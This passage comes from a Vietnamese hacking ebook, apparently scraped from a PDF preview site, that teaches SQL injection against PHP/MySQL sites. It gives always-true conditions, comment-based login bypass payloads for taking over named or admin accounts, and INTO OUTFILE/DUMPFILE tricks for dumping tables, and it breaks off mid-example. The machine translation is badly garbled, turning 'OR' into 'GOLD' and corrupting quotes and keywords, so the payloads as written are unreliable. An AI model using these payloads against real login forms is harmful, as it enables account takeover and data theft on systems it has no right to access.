Tải bản đầy đủ (.pdf) (6 trang)

Hacker Professional Ebook part 272 pdf

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (90.77 KB, 6 trang )

3. INSERT (Điền)
4. UPDATE(Cập nhật)
5. Kết thúc/Credit


:: 1.Giới thiệu ::

Bài viết sau đây sẽ hướng dẫn bạn những điều tôi biết về SQL Injection In PHP,
dựa trên nền tảng dữ liệu MySQL. Mã MySQL/PHP được đăng ký in blue (thật
khó hiểu ) và giá trị có thể thay đổi được bằng cách tạo ra injection in red (thật khó
hiểu )

Tất cả những điều được viết trong bài này đã được bản thân tôi thực hành.
Cuối cùng, đây là 1 trường hợp nhỏ về ứng dụng SQL Injection với ngôn ngữ PHP,
đối lập với ASP hay JSP, bởi vì cấu hình của nó có khiếm khuyết (sẽ được nói lại
sau). Nhưng những cái đạt được tuy thế mà, thỉnh thoảng co dãn lớn (large scale),
và trong bất kỳ sự việc nào thì lý thuyết là đủ intèressante (tiếng Pháp ko có biết
dịch ).

Với rất nhiều lần cập nhật mới của MySQL, thì rõ ràng là bài hướng dẫn về chủ đề
này sẽ ko thành công nữa (hoặc ko tồn tại được lâu)

Let us recall that injection SQL consists to change of it the goal first of a request
SQL, thanks to modifiable variables by the user.

Hãy tưởng tượng 1 trang PHP cho phép tìm kiếm thành viên đã được ghi nhớ trên
trang web. Đề nghị sẽ có dạng:

$req = "SELECT * FROM members WHERE name LIKE ' %$search% ' ORDER
BY name";


Chỗ $search được sửa đổi biến số bởi người dùng, đưa đến từ 1 form post (hay 1
thứ #) từ lệnh sau:

< form method="POST" action="<? echo #; ? > ">
< input type="text" name="search"><br >
< input type="submit" value="Search" >
</form >

1 ví dụ về SQL Injection, (nguyên bản khó hiểu)ko đăng để ví dụ những thành viên
theo trật tự alphabet (bằng 'name'), nhưng tốt bằng uid, cho nên bằng trật tự của
câu lệnh, sẽ được đưa đến $search giá trị: % ' ORDER BY uid #. Việc thi hành đề
nghị về sau sẽ được biến đổi vào trong:

SELECT * FROM members WHERE name LIKE ' % % ' ORDER BY uid#% '
ORDER BY name

Cái gì ko là nguyên bản sẽ là của script (What is not the original will of script)
Tôi sẽ ko trình bày chi tiết ví dụ này; đừng yêu cầu quá nhiều về những thứ này, all
comes at the right moment at which can wait, which will live will see (?).

Hãy quay trở lại vấn đề về cấu hình PHP. Trong php.ini một dòng lệnh tạo ra cho
chúng ta có thể định rõ được "magic_quotes_gpc". Nếu tùy chọn này ở trong vị trí
ON, which is the case by defect (theo cách đó cho 97% trang PHP), them "and
them ' go" slashés "beings, i.e. rằng chúng sẽ được biến đổi thành \" and \ '.
Theo cách đó nếu nó là trường hợp trong ví dụ đầu tiên của chúng ta, thì việc thi
hành yêu cầu sẽ là:

SELECT * FROM members WHERE name LIKE '%%\' ORDER BY uid#% '
ORDER BY name


Số lượng tìm kiếm 1 tên mà chứa câu lệnh: % ' ORDER BY uid # trong table
` membres`, mà ko đưa đến bất kỳ kết quả nào.

Đó là lý do tại sao trong bài hướng dẫn này chúng tôi đi đến cân nhắc rằng chúng
tôi làm trên 1 trang với magic_quotes_gpc đang OFF.

Yêu cầu thi hành chủ yếu thứ 3 trong srcipts PHP là SELECT (lựa chọn), INSERT
(điền) và UPDATE (cập nhật).
SELECT trích ra thông tin về một hoặc nhiều tables, INSERT thêm vào 1
recording, và UPDATE chỉnh sửa 1 recording đã được tạo.

:: 2.SELECT ::

Commencons bởi hầu hết theo truyền thống, đề nghị SELECT, cái mà cũng sẽ làm
cho chúng ta có thể xem dạng injection đầu tiên.
SQL được hiểu nhiều, sử dụng nhiều. SECLECT thường được sử dụng trong
authentifications admins hay members.
Do đó chúng ta có thể tưởng tượng 1 form nơi hỏi mật khẩu và đăng nhập. Việc
nhập vào những giá trị được phản hồi theo hướng 1 đề nghị MySQL:

$req = "SELECT uid FROM admins WHERE login=' $login' AND password='
$pass'";

Thực hiện 1 thi hành yêu cầu này, nếu có kết quả, nó sẽ là login và password hiện
thời tốt và phù hợp, và theo cách đó có 1 cái (that one) sẽ là administrator.
Ở cái nhìn đầu tiên, để xác nhận yêu cầu, cần 1 tài khoản login và 1 mật khẩu có
giá trị.
Vì thế mà biểu thức login=' $login' or password=' $pass' phản hồi lại ' vrai', nó sẽ là
tất yếu rằng tài khoản login và mật khẩu nhập vào $login/$pass là tồn tại.
Đó là 1 thoáng nói về điều kiện mà luôn luôn phản hồi lại ' vrai'. 1 cái (one) nên

đòi sự xác nhận nhiều hơn trong trường hợp đó (that conditions in these cases
there).
Tôi concocté bạn 1 danh sách nhỏ yêu cầu mà sẽ luôn luôn phản hồi lại ' vrai':

SELECT * FROM counts WHERE 1=1
SELECT * FROM counts WHERE ' uuu' =' uuu'
SELECT * FROM counts WHERE 12
SELECT * FROM counts WHERE 3>2
SELECT * FROM counts WHERE 2<3
SELECT * FROM counts WHERE 1
SELECT * FROM counts WHERE 1+1
SELECT * FROM counts WHERE 1 1
SELECT * FROM counts WHERE ISNULL(NULL)
SELECT * FROM counts WHERE ISNULL(COT(0))
SELECT * FROM counts WHERE 1 IS NOT NULL
SELECT * FROM counts WHERE NULL IS NULL
SELECT * FROM counts WHERE 2 BETWEEN 1 AND 3
SELECT * FROM counts WHERE ' b' BETWEEN ' a' AND ' it
SELECT * FROM counts WHERE 2 IN (0,1,2)
SELECT * FROM counts WHERE CASA WHEN 1>0 THEN 1 END

Bạn thâu tóm/hiểu nó (included/understood), one affirms each time a sure reality:
1=1 (1 equal 1 hé yes), số 1 bên phải khác với (different of) 2, 3 >2, B ở giữa A
và C, Null là Null,
Ý tưởng của biểu thức mà luôn luôn phản hồi ' vrai' là một trong những cái gốc
(nguyên tắc) hết sức quan trọng của SQL Injection.
Thực vậy, nếu điền "always true" ("luôn đúng") vào yêu cầu, thì là vô ích để có tài
khoản login và mật khẩu.
Lấy ví dụ trong khi đưa đến $login and $pass giá trị: ' GOLD ' a' =' has, một cái sẽ
thi hành yêu cầu SQL với dạng:


SELECT uid FROM admins WHERE login = ' ' GOLD ' a' =' a' AND password = '
' GOLD ' a' =' a'

Cái gì phản hồi ' vrai', từ đó ' a' =' a' là luôn đúng !

Nó là ghi nhận đầu tiên của table sẽ được chọn, cái uid trích ra sẽ là ' 1 '.
Và hầu hết thời gian, membre/admin đầu tiên được ghi nhận là chủ nhân của trang
web, có hầu hết quyền hạn.
Nếu 1 cái muốn được chọn tài khoản để với mỗi accèder, nó sẽ là cần thiết để có
thông tin, lấy ví dụ the pseudo one.

Nếu 1 cái muốn nắm được tài khoản của John, nó sẽ phản hồi lại dạng như $login
"John" và $pass một biểu thiức luôn luôn phản hồi lại ' vrai', lấy ví dụ: ' GOLD ' b'
BETWEEN ' a' AND ' C, cái mà sẽ thi hành yêu cầu:

SELECT uid FROM admins WHERE login=' John' AND password = ' ' GOLD ' b'
BETWEEN ' a' AND ' it

Bây giờ hãy xem 1 nguyên tắc cực kỳ quan trọng của SQL Injection, cái mà có thể
hữu dụng trong ví dụ của chúng ta, và trong những những thứ khác để đến: người
sử dụng ký tự "comments". Ban đầu là ký tự # mà chú thích (comment) trên tất cả
cái mà theo nó (theo cách đó sẽ ko mang lại bất kỳ dữ liệu cơ sở nào). Lấy ví dụ:

SELECT * FROM counts WHERE nom=' Jack' # comment

Yêu cầu sẽ mang lại:

SELECT * FROM counts WHERE nom=' Jack'



Một khả năng khác là sử dụng /* và* /, cái mà biến đổi thành chú thích (comment)
what is between the 2. Lấy ví dụ:

SELECT * FROM counts WHERE/* comments */addresse=' 25 street of the
roubys'

Yêu cầu sẽ mang lại:

SELECT * FROM counts WHERE addresse=' 25 street of the roubys'

Việc dùng những ký tự này trong SQL Injection chủ yếu sẽ giúp chúng ta make be
unaware của những phần yêu cầu thi hành, để mà jump of điều kiện, 1 chút giống
như phương pháp ' jump' trong cracking.
Hãy quay trở lại ví dụ, và sử dụng những hiểu biết mới để đoạt được tài khoản của
John, it is then enough to type like $login: John' #, cái mà sẽ đưa đến yêu cầu:

SELECT uid FROM admins WHERE login=' John' # ' AND password = ' '

và phần ' AND password = ' ' sẽ bị bỏ qua.

Việc injection có thể được sử dụng cho rất nhiều thứ, với nhiều con đường khác
nhau. Hãy tưởng tượng lấy ví dụ rằng có 1 vài cấp độ của administration (hãy gọi
trường table ' admin': 'admin_level'), that thành viên được ghi nhận đầu tiên chỉ là
người điều chỉnh và rằng một cái muốn có tài khoản của cấp độ 1.
Injection trong trường hợp này sẽ được, lấy ví dụ đưa đến $login giá trị: ' GOLD
admin_level=1 #, cái mà sẽ đưa đến yêu cầu:

SELECT uid FROM admins WHERE login = ' ' GOLD admin_level=1 # ' AND
password = ' '


Một cách khác để sử dụng SQL để logger một utilisateur/admin trong SQL, sẽ
kiểm tra ko chính xác tài khoản login
VÀ (AND) mật khẩu trong yêu cầu SQL, nhưng để ban đầu trích dẫn tốt mật khẩu
theo tài khoản login, với 1 dòng mã như sau :

$req = "SELECT password FROM admins WHERE login=' $login'";

Sau đó script sẽ xác minh nếu mật khẩu nhập vào form là tốt that đã trích xuất
admins table .
Một lần nữa, hệ thống này là ko đáng tin cậy, bởi hàm (cú pháp) SQL: INTO
OUTFILE (hoặc INTO DUMPFILE).
Ví dụ:

SELECT * FROM counts INTO OUTFILE '/complete/path/to/file.txt'

Tất cả nội dung của table ' table' trong file /complete/path/to/file.txt sẽ ghi lại.
Do đó nếu ví dụ của chúng ta 1 lần nhập vào một giá trị đến $login: John' INTO
DUMPFILE '/path/to/site/file.txt, yêu cầu sẽ trở thành:

×